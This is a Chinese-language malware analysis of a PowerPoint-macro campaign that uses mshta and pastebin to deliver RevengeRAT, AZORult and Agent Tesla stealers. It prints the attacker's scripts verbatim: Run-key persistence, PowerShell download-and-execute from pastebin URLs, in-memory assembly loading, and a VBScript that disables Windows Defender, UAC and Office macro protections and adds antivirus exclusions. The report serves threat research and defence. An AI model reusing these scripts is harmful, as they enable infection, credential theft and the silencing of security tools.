通过观察最后一个有效载荷的状态,可以肯定攻击者一直在往攻击中添加新的攻击能力。一开始,恶意软件开发者使用的是Revenge RAT,由于异常先进的传播技术和支持设施,Revenge RAT恶意软件越来越隐蔽。一旦攻击成功,攻击者便能够通过他造成严重破坏,可以通过键盘记录器或其他间谍软件监控用户行为、窃取个人信息以及分发其他恶意软件。后来,开发者有使用的是AZORult,AZORult是一种信息窃取的恶意软件,随着时间的推移已经发展成为一种多层功能的软件。今年3月,Reason Labs的网络安全研究员发现一个武器化的冠状病毒地图应用程序,用于传播AZORult恶意软件(于2016年首次被发现),目的是窃取存储在用户浏览器中的用户名、密码、信用卡号等敏感信息。4月Azorult又通过PPT文档传播,用户一旦打开就会启动恶意程序下载Azorult窃密木马,导致账号密码丢失、信息泄漏等严重后果。再后来,恶意软件的开发者就是用了Agent Tesla,这是目前开发者添加的最新攻击要素。Agent Tesla是一个基于.Net的商业化信息窃取程序,至少从2014年开始活跃,具有按键记录和远程访问Trojan(RAT)功能。该信息窃取程序还用于收集系统信息,窃取剪贴板内容以及杀死与恶意软件分析相关的进程和防病毒解决方案。今年4月攻击者利用Agent Tesla间谍软件以能源公司为目标,这些电子邮件充分利用了当今石油和天然气市场动荡的性质,攻击者利用人们对这次危机的担忧,冒充埃及著名的工程承包商(石油和加工工业工程公司,简称Enppi)。研究人员说,被列为目标的能源公司分布在马来西亚、美国、伊朗、南非、阿曼和土耳其以及菲律宾等地。受害者多为石油和天然气、木炭加工、水力发电厂、原材料制造和大型商品运输行业。6月份,亚信安全截获了一款伪装成屏幕保护程序的Agent Tesla间谍木马。该木马通过检测进程名称的方式达到反调试目的,经过解密后采用进程镂空的方式最终执行恶意攻击载荷。其会窃取多个浏览器登录凭证和COOKIE信息,截取屏幕信息,记录键盘按键,最后将收集到的数据通过SMTP发送到黑客的邮箱。

技术分析

感染链从一个带有恶意宏的恶意Microsoft Powerpoint工具开始。

2.png

样本信息

宏的内容很容易阅读,内容简短易读:

3.png

恶意宏的内容

VBA宏负责下载并执行从pastebin中检索到的恶意代码。 j [.mp是网址缩短服务,以下请求重定向并下载pastebin内容:

4.png

MSHTA攻击链

与以前的活动一样,该攻击者使用签名二进制代理执行(ID:T1218)技术来滥用“mshta.exe”(T1170)一个经过签名且合法的Microsoft工具。攻击者可以使用mshta.exe代理恶意.hta文件,Javascript或VBScript的执行。

5.png

Bnv7ruYp粘贴的代码片段

如上图所示,通过用代表字符的UTF-8编码的一个,两个或三个转义序列替换某些字符的每个实例,对代码进行简单的URI编码。

6.png

代码段1

此阶段充当一个传播过程,实际上,它通过mshta.exe下载并执行一些pastebin内容。

7.png

NIBBI作者的证据

这个lasta活动被冠以传播恶意粘贴的Pastebin用户的名字。这次的名字是“NIBBI”,第一个组件是5CzmZ5NS:

8.png

5CzmZ5NS粘贴的代码片段

第二个是sJEBiiMw:

9.png

sJEBiiMw粘贴的代码片段

第三个,YL0je2fU:

10.png

YL0je2fU粘贴的代码片段

第四部分,UyFaSxgj:

11.png

UyFaSxgj粘贴的代码片段

这种混淆技术是该特定攻击的典型特征,攻击者在许多恶意操作中都充分利用了这种混淆技术。而且,使用诸如pastebin(T1102)之类的合法网站会产生大量掩盖,例如经常被列入白名单的优势。使用这样的服务可以减少C2的暴露,在过去,其他攻击者(例如APT41,FIN6或FIN7)也使用类似的技术将攻击基础结构信息与其植入配置分离。

一旦解码了第一个组件(5CzmZ5NS),它就会揭示一些逻辑,如代码片段2所示。首先,该脚本将注册表项设置为Windows持久性机制(T1060),在其中执行以下命令

"mshta vbscript:Execute(""CreateObject(""""Wscript.Shell"""").Run """"powershell ((gp HKCU:\Software).iamresearcher)|IEX"
< script language="VBScript" >CreateObject("WScript.Shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\bin", "mshta vbscript:Execute(""CreateObject(""""Wscript.Shell"""").Run """"powershell ((gp HKCU:\Software).iamresearcher)|IEX"""", 0 : window.close"")", "REG_SZ"
CreateObject("Wscript.Shell").regwrite "HKCU\Software\iamresearcher", "$fucksecurityresearchers='contactmeEX'.replace('contactme','I');sal M $fucksecurityresearchers;do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);$iwannajoinuiwannaleavedsshit = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);[System.Net.ServicePointManager]::SecurityProtocol = $iwannajoinuiwannaleavedsshit;$iwannaleftsellingtools= New-Object -Com Microsoft.XMLHTTP;$iwannaleftsellingtools.open('GET','https://pastebin.com/raw/rnS6CUzX',$false);$iwannaleftsellingtools.send();$iwannaleftsellingtoolsy=$iwannaleftsellingtools.responseText;$asciiChars= $iwannaleftsellingtoolsy -split '-' |ForEach-Object {[char][byte]""0x$_""};$asciiString= $asciiChars -join ''|M;[Byte[]]$Cli2= iex(iex('(&(GCM *W-O*)'+ 'Net.'+'WebC'+'lient)'+'.Dow'+'nload'+'Str'+'ing(''https://pastebin.com/raw/Rk4engdU'').replace(''#'',''!#[email protected]#'').replace(''!#[email protected]#'',''0x'')')) | g;$iwannaleftsellingtools=[System.Reflection.Assembly]::Load($decompressedByteArray);[rOnAlDo]::ChRiS('InstallUtil.exe',$Cli2)" , "REG_SZ"
Const HIDDEN_WINDOW = 0strComputer = "."Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")Set objStartup = objWMIService.Get("Win32_ProcessStartup")Set objConfig = objStartup.SpawnInstance_objConfig.ShowWindow = HIDDEN_WINDOWSet objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")errReturn = objProcess.Create( "powershell ((gp HKCU:\Software).iamresearcher)|IEX", null, objConfig, intProcessID)'i am not a coder not a expert i am script kiddie expert i read code from samples on site then compile in my way'i am not a coder 😉 i watch you on twitter every day thanks 🙂 i love my code reports!'i am not a coder! bang 😉
self.close
< /script >

代码段2

该代码包含与安全研究人员的twitter社区相关的一些“有趣”注释,这些注释不断监视攻击者的操作。然后,通过Rk4engdU粘贴标识最终的有效载荷。

13.png

rnS6CUz粘贴的一部分

解码此十六进制流,研究人员得到以下powershell代码:

14.png

代码段3

Powershell装载机

代码段3是一个Powershell脚本,其中声明了函数“UNpaC0k33333000010001147555”,目的是以正确的方式操作两个有效载荷。它们都是.NET二进制文件,消除混淆的代码存储在deblindB变量中,然后执行。

如名称deblindB所建议的,调用“Amsi”类的静态方法“Bypass”的执行。

15.png

Amsi绕过漏洞利用证据

相反,嵌入在变量$ MNB内的有效载荷是另一种注入工具,但是这个工具不是由脚本执行的,可能是因为两个二进制文件执行相同的操作,而且只有一个就足够了。

至此,研究人员不断获取“sJEBiiMw”组件:

< script language="VBScript" >Const HIDDEN_WINDOW = 0strComputer = "."Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")Set objStartup = objWMIService.Get("Win32_ProcessStartup")Set objConfig = objStartup.SpawnInstance_objConfig.ShowWindow = HIDDEN_WINDOWSet objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")errReturn = objProcess.Create( "powershell.exe -nologo -WindowStyle Hidden $_Xpin = ((New-Object Net.WebClient).DowNloAdSTRiNg('h'+'t'+'t'+'p'+'s'+':'+'/'+'/'+'p'+'a'+'s'+'t'+'e'+'b'+'i'+'n'+'.'+'c'+'o'+'m'+'/'+'r'+'a'+'w'+'/ygwLUS9C'));$_Xpin=$_Xpin.replace('.','*!(@*#([email protected]#*').replace('*!(@*#([email protected]#*','0');$_Xpin = $_Xpin.ToCharArray();[Array]::Reverse($_Xpin);[byte[]]$_PMP = [System.Convert]::FromBase64String($_Xpin);$_1 = [System.Threading.Thread]::GetDomain().Load($_PMP);$_1.EntryPoint.invoke($S,$X)", null, objConfig, intProcessID)
self.close
< /script >

代码段4

这个脚本从pastebin: ygwLUS9C下载并执行另一个脚本,它是一个使用base64编码的脚本,替换了一些基本字符串。我们还注意到这个可执行文件使用了CMSTP绕过技术(T1191),这在我们之前的报告中已经见过了。

16.png

CMSTP绕过证据

但是,在本文所列举的示例中,存在一个与先前版本不同的新元素:通过CMSTP绕过,将VBS脚本写入“ \%TEMP%\”文件夹中,该脚本执行许多破坏性命令:

17.png

已加载并执行VBS脚本的证据

 On Error Resume NextSet WshShell = CreateObject("WScript.Shell")WshShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware","0","REG_DWORD"WshShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring","0","REG_DWORD"WshShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection","0","REG_DWORD"WshShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable","0","REG_DWORD"
 WScript.Sleep 100
 outputMessage("Set-MpPreference -DisableRealtimeMonitoring $true")outputMessage("Set-MpPreference -DisableBehaviorMonitoring $true")outputMessage("Set-MpPreference -DisableBlockAtFirstSeen $true")outputMessage("Set-MpPreference -DisableIOAVProtection $true")outputMessage("Set-MpPreference -DisableScriptScanning $true")outputMessage("Set-MpPreference -SubmitSamplesConsent 2")outputMessage("Set-MpPreference -MAPSReporting 0")outputMessage("Set-MpPreference -HighThreatDefaultAction 6 -Force")outputMessage("Set-MpPreference -ModerateThreatDefaultAction 6")outputMessage("Set-MpPreference -LowThreatDefaultAction 6")outputMessage("Set-MpPreference -SevereThreatDefaultAction 6")
 
 Sub outputMessage(byval args)On Error Resume NextConst HIDDEN_WINDOW = 0strComputer = "."Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")Set objStartup = objWMIService.Get("Win32_ProcessStartup")Set objConfig = objStartup.SpawnInstance_objConfig.ShowWindow = HIDDEN_WINDOWSet objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")errReturn = objProcess.Create( "powershell " + args, null, objConfig, intProcessID)
 
 End SubOn Error Resume NextConst HIDDEN_WINDOW = 0strComputer = "."Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")Set objStartup = objWMIService.Get("Win32_ProcessStartup")Set objConfig = objStartup.SpawnInstance_objConfig.ShowWindow = HIDDEN_WINDOWSet objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")errReturn = objProcess.Create( "powershell [email protected](36,117,115,101,114,80,97,116,104,32,61,32,36,101,110,118,58,85,83,69,82,80,82,79,70,73,76,69,10,36,112,97,116,104,69,120,99,108,117,115,105,111,110,115,32,61,32,78,101,119,45,79,98,106,101,99,116,32,83,121,115,116,101,109,46,67,111,108,108,101,99,116,105,111,110,115,46,65,114,114,97,121,76,105,115,116,10,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,32,61,32,78,101,119,45,79,98,106,101,99,116,32,83,121,115,116,101,109,46,67,111,108,108,101,99,116,105,111,110,115,46,65,114,114,97,121,76,105,115,116,10,36,112,97,116,104,69,120,99,108,117,115,105,111,110,115,46,65,100,100,40,39,67,58,92,39,41,32,62,32,36,110,117,108,108,10,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,46,65,100,100,40,39,77,115,98,117,105,108,100,46,101,120,101,39,41,32,62,32,36,110,117,108,108,10,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,46,65,100,100,40,39,67,97,108,99,46,101,120,101,39,41,32,62,32,36,110,117,108,108,10,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,46,65,100,100,40,39,112,111,119,101,114,115,104,101,108,108,46,101,120,101,39,41,32,62,32,36,110,117,108,108,10,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,46,65,100,100,40,39,119,115,99,114,105,112,116,46,101,120,101,39,41,32,62,32,36,110,117,108,108,10,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,46,65,100,100,40,39,109,115,104,116,97,46,101,120,101,39,41,32,62,32,36,110,117,108,108,10,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,46,65,100,100,40,39,99,109,100,46,101,120,101,39,41,32,62,32,36,110,117,108,108,10,36,112,114,111,106,101,99,116,115,70,111,108,100,101,114,32,61,32,39,100,58,92,39,10,65,100,100,45,77,112,80,114,101,102,101,114,101,110,99,101,32,45,69,120,99,108,117,115,105,111,110,80,97,116,104,32,36,112,114,111,106,101,99,116,115,70,111,108,100,101,114,10,102,111,114,101,97,99,104,32,40,36,101,120,99,108,117,115,105,111,110,32,105,110,32,36,112,97,116,104,69,120,99,108,117,115,105,111,110,115,41,32,10,123,10,32,32,32,32,87,114,105,116,101,45,72,111,115,116,32,34,65,100,100,105,110,103,32,80,97,116,104,32,69,120,99,108,117,115,105,111,110,58,32,34,32,36,101,120,99,108,117,115,105,111,110,10,32,32,32,32,65,100,100,45,77,112,80,114,101,102,101,114,101,110,99,101,32,45,69,120,99,108,117,115,105,111,110,80,97,116,104,32,36,101,120,99,108,117,115,105,111,110,10,125,10,102,111,114,101,97,99,104,32,40,36,101,120,99,108,117,115,105,111,110,32,105,110,32,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,41,10,123,10,32,32,32,32,87,114,105,116,101,45,72,111,115,116,32,34,65,100,100,105,110,103,32,80,114,111,99,101,115,115,32,69,120,99,108,117,115,105,111,110,58,32,34,32,36,101,120,99,108,117,115,105,111,110,10,32,32,32,32,65,100,100,45,77,112,80,114,101,102,101,114,101,110,99,101,32,45,69,120,99,108,117,115,105,111,110,80,114,111,99,101,115,115,32,36,101,120,99,108,117,115,105,111,110,10,125,10,87,114,105,116,101,45,72,111,115,116,32,34,34,10,87,114,105,116,101,45,72,111,115,116,32,34,89,111,117,114,32,69,120,99,108,117,115,105,111,110,115,58,34,10,36,112,114,101,102,115,32,61,32,71,101,116,45,77,112,80,114,101,102,101,114,101,110,99,101,10,36,112,114,101,102,115,46,69,120,99,108,117,115,105,111,110,80,97,116,104,10,36,112,114,101,102,115,46,69,120,99,108,117,115,105,111,110,80,114,111,99,101,115,115);[System.Text.Encoding]::ASCII.GetString($cici)|IEX", null, objConfig, intProcessID)
 CreateObject("WScript.Shell").RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA","0", "REG_DWORD"
 
 Set wso = CreateObject("WScript.Shell")wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Publisher\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Publisher\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Publisher\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Publisher\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Publisher\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Publisher\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Publisher\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Publisher\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Publisher\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Publisher\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Publisher\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Publisher\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Publisher\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Publisher\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Publisher\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Publisher\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Publisher\Security\VBAWarnings", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Publisher\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Publisher\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Publisher\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Options\DontUpdateLinks", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Options\DontUpdateLinks", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Options\DontUpdateLinks", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Options\DontUpdateLinks", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Options\DontUpdateLinks", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Options\DontUpdateLinks", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Options\DontUpdateLinks", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\PowerPoint\Options\DontUpdateLinks", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Options\DontUpdateLinks", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Options\DontUpdateLinks", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Options\DontUpdateLinks", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Options\DontUpdateLinks", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Options\DontUpdateLinks", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Options\DontUpdateLinks", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Options\DontUpdateLinks", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\AllowDDE", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\AllowDDE", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\AllowDDE", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\AllowDDE", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\AllowDDE", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\AllowDDE", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\AllowDDE", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\AllowDDE", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\AllowDDE", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\AllowDDE", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\AllowDDE", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\AllowDDE", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\AllowDDE", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\AllowDDE", 1, "REG_DWORD"wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\AllowDDE", 1, "REG_DWORD"

代码段5

从代码中可以看到,powershell命令隐藏在名为$cici的变量中,该变量立即从十进制转换为相对ascii值。

18.png

代码片段6

在代码片段6中,研究人员找到了一个Powershell代码,该代码指示插入Microsoft Windows Anti-Malware排除项中的以下过程:msbuild,calc,powershell,wscript,mshta和cmd。

此复杂链中的另一个脚本是YL0je2fU:


< script language="VBScript" >
CreateObject("WScript.Shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\replcia", "mshta vbscript:Execute(""CreateObject(""""Wscript.Shell"""").Run """"powershell ((gp HKCU:\Software).mogale)|IEX"""", 0 : window.close"")", "REG_SZ"
